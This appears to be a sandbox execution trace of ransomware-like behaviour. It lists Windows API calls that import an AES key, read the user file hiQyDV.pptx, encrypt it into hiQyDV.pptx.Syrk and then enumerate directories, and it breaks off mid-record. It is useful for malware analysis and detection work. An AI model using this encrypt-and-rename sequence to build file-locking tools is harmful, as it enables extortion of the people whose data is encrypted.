SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.864] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0228.864] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0228.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0228.865] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.865] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0228.865] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0228.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0228.865] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.865] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0228.865] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0228.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0228.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0228.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0228.866] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.866] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0228.866] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0228.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0228.866] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.867] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0228.867] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.867] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0228.867] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0228.867] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.867] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0228.867] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0228.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0228.868] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.868] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0228.868] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0228.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0228.868] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.868] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0228.868] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0228.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0228.868] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.869] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0228.869] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0228.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0228.869] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.869] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0228.869] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0228.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0228.869] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.869] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0228.869] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0228.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0228.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0228.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0228.870] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0228.871] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0228.871] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0228.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0228.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0228.871] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0228.871] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0228.871] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0228.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0228.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0228.871] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0228.871] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0228.871] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0228.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0228.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0228.872] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0228.872] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0228.872] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0228.872] EtwEventActivityIdControl () returned 0x0 [0228.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0228.872] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0228.872] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0228.872] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0228.874] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d100) returned 1 [0228.876] CryptImportKey (in: hProv=0x5c4d100, pbData=0x24b182c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c995e0) returned 1 [0228.876] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0228.876] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.877] EtwEventActivityIdControl () returned 0x0 [0228.877] EtwEventActivityIdControl () returned 0x0 [0228.877] EtwEventActivityIdControl () returned 0x0 [0228.969] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx")) returned 0x20 [0228.971] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx")) returned 0x20 [0228.971] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0228.971] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", lpFilePart=0x0) returned 0x28 [0228.973] EtwEventActivityIdControl () returned 0x0 [0228.974] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.975] EtwEventActivityIdControl () returned 0x0 [0228.975] EtwEventActivityIdControl () returned 0x0 [0228.975] EtwEventActivityIdControl () returned 0x0 [0228.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0228.978] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", lpFilePart=0x0) returned 0x28 [0228.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0228.978] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0228.978] GetFileType (hFile=0x454) returned 0x1 [0228.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0228.978] GetFileType (hFile=0x454) returned 0x1 [0228.978] EtwEventActivityIdControl () returned 0x0 [0228.979] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.979] EtwEventActivityIdControl () returned 0x0 [0228.979] EtwEventActivityIdControl () returned 0x0 [0228.979] EtwEventActivityIdControl () returned 0x0 [0228.980] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0228.980] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx.Syrk", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx.Syrk", lpFilePart=0x0) returned 0x2d [0228.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0228.981] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0228.982] GetFileType (hFile=0x458) returned 0x1 [0228.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0228.982] GetFileType (hFile=0x458) returned 0x1 [0228.982] EtwEventActivityIdControl () returned 0x0 [0228.983] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x24c1628 | out: pbBuffer=0x24c1628) returned 1 [0228.984] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0228.984] CryptDuplicateKey (in: hKey=0x5c995e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c997e0) returned 1 [0228.984] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0228.985] CryptSetKeyParam (hKey=0x5c997e0, dwParam=0x4, pbData=0x24c2960*=0x1, dwFlags=0x0) returned 1 [0228.985] CryptSetKeyParam (hKey=0x5c997e0, dwParam=0x1, pbData=0x24c292c, dwFlags=0x0) returned 1 [0228.985] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.985] EtwEventActivityIdControl () returned 0x0 [0228.985] EtwEventActivityIdControl () returned 0x0 [0228.985] EtwEventActivityIdControl () returned 0x0 [0228.987] EtwEventActivityIdControl () returned 0x0 [0228.988] ReadFile (in: hFile=0x454, lpBuffer=0x24c559c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24c559c*, lpNumberOfBytesRead=0x5a2e7d8*=0x11fec, lpOverlapped=0x0) returned 1 [0228.991] CryptEncrypt (in: hKey=0x5c997e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d95b4*, pdwDataLen=0x5a2e7cc*=0x11fe0, dwBufLen=0x11fe0 | out: pbData=0x24d95b4*, pdwDataLen=0x5a2e7cc*=0x11fe0) returned 1 [0228.992] WriteFile (in: hFile=0x458, lpBuffer=0x24c1710*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24c1710*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0228.993] WriteFile (in: hFile=0x458, lpBuffer=0x24da5a0*, nNumberOfBytesToWrite=0x10ff4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24da5a0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x10ff4, lpOverlapped=0x0) returned 1 [0228.995] ReadFile (in: hFile=0x454, lpBuffer=0x24c559c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24c559c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0228.995] CryptEncrypt (in: hKey=0x5c997e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24eb5a0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24eb5a0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0228.995] CryptEncrypt (in: hKey=0x5c997e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24eb5bc*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24eb5bc*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0228.996] WriteFile (in: hFile=0x458, lpBuffer=0x24c1710*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24c1710*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0228.996] CloseHandle (hObject=0x458) returned 1 [0228.998] CloseHandle (hObject=0x454) returned 1 [0228.999] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.999] EtwEventActivityIdControl () returned 0x0 [0228.999] EtwEventActivityIdControl () returned 0x0 [0229.000] EtwEventActivityIdControl () returned 0x0 [0229.006] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx")) returned 0x20 [0229.075] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0229.076] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", lpFilePart=0x0) returned 0x28 [0229.076] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0229.076] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0229.076] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0229.076] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0229.076] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0229.076] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0229.077] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0229.077] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0229.077] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0229.077] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0229.077] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0229.077] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0229.077] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0229.078] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0229.078] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0229.078] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0229.078] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx")) returned 0x20 [0229.078] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0229.078] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", lpFilePart=0x0) returned 0x28 [0229.081] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0229.081] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", lpFilePart=0x0) returned 0x28 [0229.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0229.081] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0229.081] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", lpFilePart=0x0) returned 0x28 [0229.082] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, 